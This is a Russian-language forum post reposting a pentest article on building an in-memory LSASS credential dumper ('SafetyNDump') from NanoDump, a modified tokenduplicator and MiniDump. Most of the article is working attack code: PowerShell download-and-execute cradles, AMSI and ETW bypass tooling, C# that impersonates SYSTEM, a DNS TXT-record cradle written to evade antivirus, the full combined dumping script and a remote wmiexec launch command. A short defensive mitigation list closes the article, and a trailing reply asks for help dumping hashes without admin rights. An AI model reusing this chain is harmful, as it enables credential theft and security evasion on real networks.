• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как я заново изобрел SafetyKatz для дампа LSASS с NanoDump

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
В этой статье подробно разберем скрытое применение утилиты NanoDump из памяти, когда моделируемый злоумышленник не обладает «маячком» C&C на атакуемом сетевом узле, и сравним такой способ использования NanoDump с применением SafetyKatz.

NanoDump уже успел обрести широкую популярность у вендоров AV/EDR, что поспособствовало написанию для него кучи детектов, поэтому теперь мы можем более свободно поделиться своим опытом его использования на «внутряках».

Вводная​

Для начала немного поностальгируем по временам, когда деревья были зеленее, а антивирусные решения не были так жестоки по отношению к рядовым исполнителям проектов по тестированию на проникновение. В то время (около пяти лет до момента написания статьи) в составе коллекции GhostPack появился интересный инструмент SafetyKatz, в рамках разработки которого исследователь @harmj0y вдохнул новую жизнь в небезызвестный Mimikatz, уже на тот момент «палившийся» всем и вся при его использовании в чистом виде.

image2.jpeg

SafetyKatz декомпозирует процесс извлечения данных аутентификации из LSASS на два этапа: непосредственное создание дампа с помощью API-ручки dbghelp.dll!MiniDumpWriteDump и парсинг полученного дампа посредством модифицированного (уменьшенного по своим возможностям) Mimikatz. Последний, в свою очередь, загружается в память по методу PE Reflection и выполняет захардкоженные команды sekurlsa::logonpasswords и sekurlsa::ekeys в отношении уже созданного ранее дампа памяти. По завершении работы утилиты привнесенные артефакты — минидамп, сохраненный по пути C:\Windows\Temp\debug.bin, — удаляются с файловой системы жертвы.

Описание SafetyKatz (github.com)

Такой подход в свое время позволял уменьшить количество детектов использования sekurlsa::logonpasswords «на живую», сокращал время на выдергивание хешей и ключей (немалый дамп памяти больше не нужно тащить к себе на тачку) и прятал сигнатуру Mimikatz от статического анализа. Примерно такой же подход долгое время применялся моей командой с тем лишь отличием, что я использовал новомодный NanoDump из памяти для создания слепка памяти и библиотеку на C# — для его парсинга на месте.

Дальше мы рассмотрим поподробнее, как создать свой «SafetyNDump» для фана и профита, но сперва ознакомимся со вспомогательным инструментарием.

Сразу оговорюсь, что далее не будут рассмотрены действующие на момент написания статьи техники обхода AV/EDR для дампа LSASS. Цель публикации — рассказать, как мы долгое время «абьюзили» одну из лазеек уклонения от «Касперского», и тем самым поделиться своим опытом с коллегами, играющими на стороне дефенса. На данный момент описываемый вектор атаки закрыт.

System.Reflection.Assembly. Король умер, да здравствует король!​

Мне очень нравится PowerShell и его возможности в контексте наступательной безопасности. В случае, когда в целевой инфраструктуре не зажжен AppLocker + Constrained Language Mode, простота применения этого инструмента Windows-автоматизации на обычных пентестах — просто подарок для моделируемого злоумышленника. На киберучениях с необходимостью скрытого исполнения команд его тоже можно приспособить под нужды исполнителя с помощью патчинга ETW, вызова ранспейса System.Management.Automation напрямую (я смотрю на тебя, PowerShx!) и других триксов.

Мы будем целиться в исполнение накрафченного на C# кода через механизм System.Reflection.Assembly, что поможет еще больше упростить жизнь этичному злоумышленнику при подключении к сетевым узлам через службу WinRM (Windows Remote Management) или, например, с помощью скриптов exec.py из Impacket.

На просторах интернета есть куча материалов, как выполнять код на «шарпах» через PowerShell, но мне, как обычно, не хватало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и... Поэтому в свободное от работы время я написал простую питонячью утилиту bin2pwsh, которая позволяет конвертировать собранные на C# бинари в лаунчеры на PowerShell.

Я даже лого сделал, ага (с logoly.pro)

Кратко опишу ее возможности:
  • Автоматически создает «запускаторы» на PowerShell из скомпилированных исполняемых файлов на C# на основе предопределенных шаблонов (классический или с использованием примитивов Emit). Байты исполняемых файлов сперва сжимаются с помощью zlib и оборачиваются в Base64 для их встраивания в код скриптов .ps1.
  • Можно использовать безумно крутой инструмент Donut, если нужно запускать неуправляемый код из PowerShell для системных вызовов — прямых (форк Donut от @s4ntiago_p для Linux) или непрямых (закрытый форк Donut от @KlezVirus и Porchetta Industries для Windows с возможностью перехеширования на лету). Само исполнение неуправляемого кода достигается за счет предварительной кросс‑компиляции в Linux (с помощью Mono) или обычной компиляции в Windows (с помощью csc.exe) селф‑инжектора на C# на основе темплейтов от @bohops (Unmanaged Code Execution with .NET Dynamic PInvoke) и @dr4k0nia (HInvoke and avoiding PInvoke). Они работают без статических импортов P/Invoke для вызовов WinAPI.
  • Позволяет применять несложные техники уклонения от AV: патчинг AMSI, ETW, RC4-шифрование полезной нагрузки с помощью встроенных механизмов Windows и обфускация статических строк.
Рассмотрим примеры использования.


Пример 1. Базовый​

Это простая упаковка Rubeus в PowerShell-лаунчер на основе стандартного шаблона System.Reflection.Assembly.
Код:
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
bin2pwsh.py Rubeus.exe
Генерация загрузчика Rubeus на PowerShell


Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")

Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!

Загрузка и запуск Rubeus из памяти


Пример 2. Продвинутый​

Теперь посмотрим на продвинутую упаковку Rubeus в PowerShell-лаунчер на основе шаблона System.Reflection.Emit и его исполнение через запуск селф‑инжектора шелл‑кода, полученного с помощью форка Donut за авторством KlezVirus с динамическим перехешированием непрямых системных вызовов (подробнее о технике рассказывает ролик на YouTube). Чаще всего этот способ используется с нативным кодом, однако паковать таким образом управляемый код также никто не запрещает.
Код:
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe

py .\bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:\Tools\SysWhispers3\syswhispers.py -whm jumper_randomized --emit --debug --silent

Генерация загрузчика Rubeus на PowerShell


Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")

Invoke-RubeusInject

Загрузка и запуск Rubeus из памяти


Пример 3. PowerSharpPack своими руками​

Ну и на сладкое — пример создания аналога репозитория PowerSharpPack (от @ShitSecure) из SharpCollection (от @Flangvik) за считаные секунды.
Код:
git clone https://github.com/Flangvik/SharpCollection
cd SharpCollection/NetFramework_4.0_Any
for exe in ./*.exe; do bin2pwsh.py $exe --silent; done
Делаем лаунчеры на PowerShell из SharpCollection

Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")

Invoke-Seatbelt -group=system
Загрузка и запуск Seatbelt из памяти

Со вспомогательным инструментарием разобрались, вернемся к нашей проблеме. Чтобы оставаться организованными и во имя концепции «разделяй и властвуй», не будем отходить от нарратива декомпозиции SafetyKatz и поочередно рассмотрим создание дампа и его парсинг.

Пишем SafetyNDump. Создание дампа LSASS в обход AV​

Итак, первое, с чем нужно разобраться, — это создание дампа памяти lsass.exe. Способ должен прокатить с действующим средством защиты.

Олицетворение SYSTEM из неинтерактивной консоли​

На момент тестирования NanoDump при работе с «Касперским» стреляла опция -eh/--elevate-handle, позаимствованная автором из этой презенташки. Основная идея заключается в открытии хендла к целевому процессу с привилегиями PROCESS_QUERY_LIMITED_INFORMATION и последующем их повышении до необходимых с помощью ntdll.dll!NtDuplicateObject. Как я писал в предыдущей статье, один из способов блокировки доступа к LSASS — сделать так, чтобы было невозможно получить привилегированный дескриптор lsass.exe, и этот трюк позволяет обойти упомянутое ограничение.

Особенность использования опции -eh в том, что нужно запускать NanoDump с привилегиями NT AUTHORITY\SYSTEM, что вносит дополнительные трудности. Тащить на таргет PsExec? Создавать немедленную привилегированную задачу планировщика? Подменять сервисные бинари? Долго, нудно и шумно.

Я решил пойти по пути Token Impersonation (MITRE ATT&CK T1134.001) и модифицировать утилиту tokenduplicator, которой часто пользуюсь как бесфайловой альтернативой PsExec. Сперва посмотрим, как она работает в исходном виде. Я клонирую репозиторий, соберу релиз и сделаю из него PowerShell-лаунчер с помощью bin2pwsh.
Код:
git clone https://github.com/magnusstubman/tokenduplicator
cd .\tokenduplicator
devenv /build Release .\tokenduplicator.sln
cd .\tokenduplicator\bin\Release
py .\bin2pwsh.py .\tokenduplicator.exe
Создаем PowerShell-лаунчер из tokenduplicator.exe

Загружаем в память и стягиваем токен у winlogon.exe, чтобы запустить шелл с привилегиями системы.
Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-tokenduplicator.ps1")

Invoke-tokenduplicator winlogon cmd
Использование «ванильного» tokenduplicator


Все выглядит отлично, за исключением одного но: работать это будет только из интерактивного шелла.

Провал использования tokenduplicator через Evil-WinRM


Если вспомнить, чему нас учил OSEP, станет понятно, что, если мы хотим запустить CreateProcessWithTokenW из неинтерактивной сессии, нужно поправить параметры окружения dwLogonFlags, dwCreationFlags, lpEnvironment и lpCurrentDirectory, установленные по дефолту в tokenduplicator. Без этих опций запущенный процесс тут же крашнется, так как у аккаунта SYSTEM (который мы олицетворяем) не будет корректно заданного сеанса входа.

Запуск CreateProcessWithTokenW в tokenduplicator

Я убрал лишний информационный вывод, и у меня получился такой TokenDuplicator.Program.Main:
Код:
public static void Main()
{
  Process[] processes = Process.GetProcessesByName("winlogon");
  IntPtr hProcess = processes[0].Handle;
  OpenProcessToken(
    hProcess,
    0x0002,   // TOKEN_DUPLICATE
    out IntPtr hToken);
  DuplicateTokenEx(
    hToken,
    0xF01FF,  // TOKEN_ALL_ACCESS
    IntPtr.Zero,
    2,    // SecurityImpersonation
    1,    // TokenPrimary
    out IntPtr hDupToken);
  CreateEnvironmentBlock(out IntPtr lpEnvironment, hToken, false);
  STARTUPINFO si = new STARTUPINFO();
  si.cb = Marshal.SizeOf(si);
  si.lpDesktop = @"WinSta0\Default";
  StringBuilder sbSystemDir = new StringBuilder(256);
  GetSystemDirectory(sbSystemDir, 256);
  CreateProcessWithTokenW(
    hDupToken,
    1,    // LOGON_WITH_PROFILE
    null,
    "powershell iex(new-object net.webclient).downloadstring(""""http://10.10.13.37/cradle.ps1"""")",
    0x400,  // CREATE_UNICODE_ENVIRONMENT
    lpEnvironment,
    sbSystemDir.ToString(),
    ref si,
    out PROCESS_INFORMATION _);
}
Теперь при запуске Invoke-TokenDuplicator из Evil-WinRM мы успешно добиваемся исполнения команды на PowerShell, причем без отображения всплывающего окна интерпретатора у залогиненного пользователя. Да, мы не захватываем вывод исполняемой команды, но это нам и не сильно надо.

Есть контакт


SafetyNDump.Net.WebClient или Resolve-DnsName?​

Чтобы уложиться в 1024 символа, отведенные на аргумент lpCommandLine функции CreateProcessWithTokenW, нам хочешь не хочешь придется использовать загрузочный кредл, чтобы вытянуть и исполнить внешний скрипт на PowerShell, содержащий NanoDump, из которого мы предварительно сделаем лаунчер с помощью bin2pwsh и Donut.

Однако здесь снова на пути могут встать антивирусные решения, которым обычно очень не нравится, когда нечто вроде IEX (IWR http://...) передается строкой в те места, где происходит спаун процесса (будь то создание объектов класса Win32_Process через WMI, старт задач планировщика или взаимодействие с Windows API).

На помощь приходит старый трюк с резолвом TXT-записи подконтрольного доменного имени и его последующий пайп в Invoke-Expression. Этим ходом мы уклоняемся от анализа строковых артефактов загрузки и исполнения «чего‑то непонятного», что ожидаемо станет триггером для AV. Осознание того, что это сработает на нашем любимом антивирусе, пришло после экспериментов с запуском PowerShell через wmiexec.py.

Обсуждение находки в рабочем чатике


Заблюренное изображение из обсуждения выше


В целом, я думаю, идея ясна: идем в настройки своего домена и делаем примерно так, как на рисунке ниже.

Настройки DNS

После этого можем передавать URL, с которого надо грузить полезную нагрузку, следующим образом в IEX:
Код:
$url="http://10.10.13.37/payload.txt"
IEX(Resolve-DnsName "cradle.contoso.com" 16).Strings[0]
И никаких тебе Net.WebClient или Invoke-WebRequest!

С учетом этого трюка теперь наш код для спауна нового процесса с кредлом будет выглядеть так:
Код:
CreateProcessWithTokenW(
    hDupToken,
    1, // LOGON_WITH_PROFILE
    null,
    $"powershell $url=""""{args[0]}"""";IEX(Resolve-DnsName """"cradle.contoso.com"""" 16).Strings[0]",
    0x400, // CREATE_UNICODE_ENVIRONMENT
    lpEnvironment,
    sbSystemDir.ToString(),
    ref si,
    out PROCESS_INFORMATION _);
Теперь все, что осталось сделать для первой части (создания дампа LSASS), — это слепить лаунчер на PowerShell для NanoDump и убедиться, что все работает.
Код:
curl -sSL https://github.com/helpsystems/nanodump/raw/main/dist/nanodump.x64.exe -o nanodump.exe
bin2pwsh.py 'nanodump.exe -w C:\Windows\Temp\debug.bin -eh' --donut --debug
# Вытаскиваем содержимое тела функции в сырой скрипт, который выполнится сразу после IEX
vim Invoke-nanodumpInject.ps1
Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-TokenDuplicator.ps1")

Invoke-TokenDuplicator http://10.10.13.37/Invoke-nanodumpInject.ps1

Get-Item C:\Windows\Temp\debug.bin
Норм, пока работает

Не будем отходить от плана и перейдем ко второму таску — парсингу созданного дампа on-site.

Пишем SafetyNDump​

Парсинг MiniDump​

Главная проблема, которая, на мой взгляд, поспособствовала созданию SafetyKatz — отсутствие гибкого опенсорсного софта (например, на том же C#) для парсинга формата MiniDump. Эту фичу можно было бы куда более изящно встроить в свой код. Отсюда нужда во всех этих выкрутасах с отраженной загрузкой PE в память. Однако время идет, наступательное ПО совершенствуется, равно как и антивирусное, и поэтому сейчас мы можем парсить LSASS из памяти более изящно. Например, с помощью варианта MiniDump от @cube0x0.

Чтобы использовать эту утилиту (по мне, так это больше библиотека), я захардкожу входные аргументы и обфусцирую строки с помощью InvisibilityCloak — если этого не сделать, сканирование памяти процесса может найти сходство кода с «мимиком» и забить тревогу. Сначала я тоже исправлял сигнатуру минидампа перед его чтением (NanoDump ее намеренно ломает, чтобы не плодить IOC при сохранении файла на диск), но на самом деле в этом нет необходимости.

Патч Minidump.Program.Main


Код:
py .\InvisibilityCloak.py -d .\MiniDump -n (-join ((65..90) + (97..122) | Get-Random -Count 16 | % )) -m reverse

Обфускация строк MiniDump с помощью InvisibilityCloak


Далее я скомпилирую бинарь и... Снова заюзаю bin2pwsh, чтобы превратить его в скрипт на PowerShell.

Создание PowerShell-лаунчера из MiniDump


Проверяем, что все работает, и выходим на финишную прямую — объединение всей этой вкуснятины в один сценарий на PowerShell.

Да будет парсинг!


Объединение результатов​

Думаю, всем будет проще, если я просто приведу финальный код, сопровожденный комментариями.

Код:
function Invoke-Stage
{
    # Если 1, то первая фаза: повышаемся до системы + делаем дамп
    if ($args[0] -eq "1")
    {
        $b64 = "<TOKENDUPLICATOR_BYTES_COMPRESSED_BASE64>"
        $namespace = "TokenDuplicator"
        $assemblyArgs = (, [string[]]$args[1..($args.Count)])
    }
    # Иначе (если 2), то вторая фаза: парсим дамп, сделанный на первой фазе
    else
    {
        $b64 = "<MINIDUMP_BYTES_COMPRESSED_BASE64>"
        $namespace = "wUFgAhfzjrXKDRGY"
        $assemblyArgs = $null
    }
    # Обратное преобразование: Base64 -> распаковка -> массив байтов
    $a = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String($b64))
    $b = New-Object System.IO.Compression.DeflateStream($a, [System.IO.Compression.CompressionMode]::Decompress)
    $c = New-Object System.IO.MemoryStream;
    $b.CopyTo($c)
    [byte[]]$d = $c.ToArray()
    # Если вторая фаза, то нам нужен вывод сборки С# (перенаправляем стандартные дескрипторы вывода в строки)
    # Иначе (если первая фаза), вывод не требуется -> skip
    if ($args[0] -eq "2")
    {
        $e = [System.Console]::Out
        $f = [System.Console]::Error
        $g = New-Object System.IO.StringWriter
        $h = New-Object System.IO.StringWriter
        [System.Console]::SetOut($g)
        [System.Console]::SetError($h)
    }
    # Отраженно загружаем в память сборку С#, ищем в ней точку входа по именам пространства имен, класса и метода и делаем ее Invoke с аргументами
    $i = [System.Reflection.Assembly]::Load($d)
    $j = [Reflection.BindingFlags]"Public,NonPublic,Static"
    $k = $i.GetType("${namespace}.Program", $j)
    $l = $k.GetMethod("Main", $j)
    $l.Invoke($null, $assemblyArgs)
    # Если вторая фаза, то нам нужен вывод сборки С# (восстанавливаем стандартные дескрипторы, выводим результат из строк на экран)
    # Иначе (если первая фаза), вывод не требуется -> skip
    if ($args[0] -eq "2")
    {
        [System.Console]::SetError($f)
        [System.Console]::SetOut($e)
        $m = ""
        $m += $g.ToString()
        $m += $h.ToString()
        $m
    }
}
function Invoke-SafetyNDump
{
    # Первая фаза: TokenDuplicator + NanoDump --elevate-handle
    # Дополнительно на вход передаем URL, откуда будем качать Invoke-nanodumpInject.ps1
    Invoke-Stage 1 $args[0]; Sleep 10
    # Вторая фаза: MiniDump
    Invoke-Stage 2; rm C:\Windows\Temp\debug.bin
}
Меняем заглушки на Base64-строки байтов TokenDuplicator и MiniDump, и мы готовы к финальной пробе! Сейчас этот метод уже не отработает на «Касперском», поэтому на нем показывать результат бессмысленно. Вместо этого я постараюсь воспроизвести свои действия с реальных пентестов на демонстрационном стенде.
Код:
~ wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:'Passw0rd!'@PC01.megacorp.local 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe url=""""http://10.10.13.37/Invoke-SafetyNDump.ps1"""";iex(resolve-dnsname """"cradle.contoso.com"""" 16).strings[0];Invoke-SafetyNDump http://10.10.13.37/payload.txt'
«Боевое» тестирование Invoke-SafetyNDump


Что здесь произошло:
  1. Проверили, что результирующих файлов нет на машине‑жертве (откуда взялся файл lol.txt, смотри в шаге 2).
  2. Дернули Invoke-SafetyNDump.ps1 с помощью wmiexec.py без запроса вывода результата команды (флаги -silentcommand -nooutput). Чтобы перенаправить вывод Invoke-SafetyNDump, для демонстрации я изменил его запуск следующим образом: Invoke-Stage 2 > C:\Windows\Temp\lol.txt. В файле payload.txt содержится PowerShell-лаунчер NanoDump.
  3. Показали, что NanoDump отработал, чтением результатов из файла C:\Windows\Temp\lol.txt. В результате мы получили свои хеши.
Вот так без особых заморочек можно скрафтить продвинутую «малварь» (для нужд этичного хакинга!) из открытого ПО и пары строк на PowerShell.

Противодействие​

Вместо заключения я приведу список рекомендаций по митигации злоупотребления нарушителем возможностями PowerShell. Предполагается, что речь идет о корпоративной среде Active Directory и обезопасить нам нужно в первую очередь терминальные серверы и рабочие станции пользователей.
  • Установить режим Constrained Language для блокирования потенциально опасных функций средства PowerShell (например, командлета Invoke-Expression), отключения возможности создания объектов COM и .NET, добавления собственных типов данных с помощью командлета Add-Type и других возможностей, которые широко используются вредоносным ПО.
  • Настроить правила безопасности выполнения сценариев через средство AppLocker или с помощью механизма SRP (политики ограничения ПО, Software Restriction Policies) для запрета использования сторонних скриптов PowerShell.
  • Отключить движок небезопасной версии PowerShell 2.0 (в которой не используется механизм защиты AMSI), а также отключить среду разработки PowerShell ISE.
  • Внедрить использование политик безопасности Windows Defender Application Control (WDAC) для контроля запуска исполняемых файлов в соответствии с особенностями рабочего процесса сотрудников.
Всем шоколадок и веселых пентестов!

Автор snovvcrash
Источник xakep.ru
 
Ребят вопрос как получить доступ к хешам в Windows Server подключен через rdp но нет админки, есть пользователь попробовал мимикатз но узнал без админки или прав систем никак, помогите(
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх